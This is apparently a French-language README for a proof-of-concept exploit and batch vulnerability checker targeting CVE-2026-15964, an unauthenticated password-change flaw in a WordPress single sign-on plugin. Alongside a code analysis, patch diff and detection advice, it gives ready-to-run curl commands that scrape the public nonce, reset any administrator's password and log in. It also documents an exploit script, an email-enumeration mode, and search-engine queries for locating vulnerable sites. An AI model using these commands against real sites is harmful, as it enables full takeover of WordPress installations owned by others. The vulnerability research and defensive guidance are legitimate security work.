
PoC et vérificateur pour CVE-2026-15964 - changement de mot de passe sans authentification dans le plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Élévation de privilèges non authentifiée via un changement de mot de passe non vérifié dans le plugin WordPress Single Sign On For TNG.
| Gravité | Critique (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Changement de mot de passe non vérifié) |
| Versions affectées | versions du plugin 1.0.0 à 2.0.0 |
| Corrigé dans | 2.1.0 (publié le 2026-07-27) |
| Publié | 2026-08-01 |
| Authentification requise | aucune (wp_ajax_nopriv_ssoprocess_ajax) |
| Impact | changer le mot de passe de n'importe quel compte WordPress, y compris les administrateurs - prise de contrôle totale du site |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Tout visiteur non authentifié peut changer le mot de passe de n'importe quel compte sur un site utilisant le plugin en version 2.0.0 ou antérieure. Deux requêtes HTTP :
SSOPWDREQUIREMENT.admin-ajax.php avec operation=setnewpassword, l'e-mail de la victime et
un nouveau mot de passe.La fonction reset_password() du cœur de WordPress fait le reste. Pas de jeton, pas de lien
de confirmation par e-mail, pas de vérification de capacité. Connectez-vous ensuite en tant qu'administrateur.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
Dans single-sign-on-for-tng.php (v2.0.0) :
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* signifie que le gestionnaire est accessible sans aucune session.
load_scripts() est accroché à wp_enqueue_scripts, donc sur chaque page
frontale, le plugin imprime ceci dans le HTML :
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Ce qui donne :
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
Et le gestionnaire le vérifie ainsi :
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
Le piège : WordPress calcule les nonces avec wp_create_nonce($action) en utilisant
uid et le jeton de session. Pour les visiteurs déconnectés, ceux-ci valent 0 et une
chaîne vide, ce qui signifie que chaque visiteur anonyme obtient exactement le même nonce.
Il n'est recalculé que toutes les 12 heures (le tick de nonce). Ainsi, le nonce que le
plugin imprime pour n'importe quel visiteur est également valable pour l'attaquant - il n'y a
aucun secret à voler, il est publié sur la page elle-même.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() est une fonction du cœur de WordPress. Elle définit le nouveau hachage,
déconnecte la victime de toutes les autres sessions et déclenche les actions password_reset /
after_password_reset. Elle est appelée ici sans rien prouvant que l'appelant est le
propriétaire du compte.
Deux points supplémentaires à connaître :
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC du plugin ne sont appliquées que dans
validate_form() pour les formulaires Forminator, jamais ici. N'importe quel mot de passe est accepté.{"success":true} vs {"success":false} vous indique
si un e-mail est enregistré. Le mode --enum-only du vérificateur utilise cela.operation=set_tzoffset appelle
update_option('localtzoffset', $post['timezoneoffset']) sans authentification.
Pas directement exploitable pour une RCE, mais c'est une écriture d'option non authentifiée
et il vaut la peine de le mentionner dans l'analyse.La comparaison de 2.0.0 avec 2.1.0 rend le correctif évident (et confirme le bug) :
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
plus, dans newpasswordform() :
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
Donc dans la 2.1.0, le flux est le suivant : une véritable demande de récupération stocke
custom_recovery_token + custom_recovery_nonce propres à l'utilisateur dans ses meta,
le lien de récupération porte l'identifiant de l'utilisateur, le formulaire valide les deux,
et le gestionnaire AJAX refuse de s'exécuter une fois la fenêtre de récupération (timeout)
expirée. Un attaquant qui ne peut pas produire un enregistrement de récupération actif ne peut
plus piloter setnewpassword.
Étape 1 - récupérer le nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Étape 2 - changer le mot de passe
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Réponse attendue sur une installation vulnérable : {"success":true}
Étape 3 - se connecter
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyExploit mono-site. Modes non destructifs inclus.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.pyScanner par lot pour vos propres listes de sites. Non destructif par conception - il ne change jamais de mot de passe.
Comment il classe chaque site :
SSOPWDREQUIREMENT ou les chemins d'actifs
/wp-content/plugins/single-sign-on-for-tng/ dans la page d'accueil.Stable tag: du readme.txt. <= 2.0.0 est vulnérable,
>= 2.1.0 est corrigé. Cela fait foi selon la CVE.--probe, uniquement si la version ne peut pas être lue) - envoie
operation=setnewpassword avec un e-mail inexistant. Une installation 2.0.0
répond {"success":false} sans message d'erreur ; une installation 2.1.0 répond
avec le message « time to submit the new password expired ». Un vrai e-mail n'est
jamais envoyé - en envoyer un réinitialiserait réellement le mot de passe.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
Exemple de sortie :
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
Verdicts : VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS /
UNKNOWN / ERROR. UNKNOWN signifie généralement un WAF, un cache CDN agressif ou
un site qui bloque le readme - vérifiez-les manuellement.
tests/mock_server.py émule six cas (vulnérable par version, corrigé par version,
vulnérable par sonde, corrigé par sonde, WordPress sans le plugin, non-WordPress).
C'est ainsi que la logique du vérificateur a été validée avant de la pointer sur quelque chose
de réel :
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt vous donne la seule dépendance (requests).
Contexte honnête, car cela affecte la façon dont vous utilisez cet outil.
inurl:"single-sign-on-for-tng",
"SSOPWDREQUIREMENT" dans les moteurs de recherche qui indexent le code source complet des pages
(PublicWWW, Censys, FOFA), et la communauté TNG elle-même
(tngsitebuilding.com, forums de généalogie).UNKNOWN du vérificateur sera relativement important sur les vrais
sites généalogiques - beaucoup tournent derrière un cache agressif ou bloquent
readme.txt. Ne l'interprétez pas comme « non vulnérable » ; vérifiez manuellement.admin-ajax.php où action=ssoprocess_ajax ne
provient pas d'une session authentifiée ; alerter sur setnewpassword provenant de
sources anonymes.wp_users.user_pass et les actions password_reset /
after_password_reset ; soyez attentif aux connexions administrateur immédiatement après un
changement de mot de passe.ssoajaxnonce comme une information publique - elle l'a toujours été.Ce dépôt est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. Vous êtes responsable de vos propres actions. N'utilisez pas ces outils contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est un crime dans la plupart des juridictions.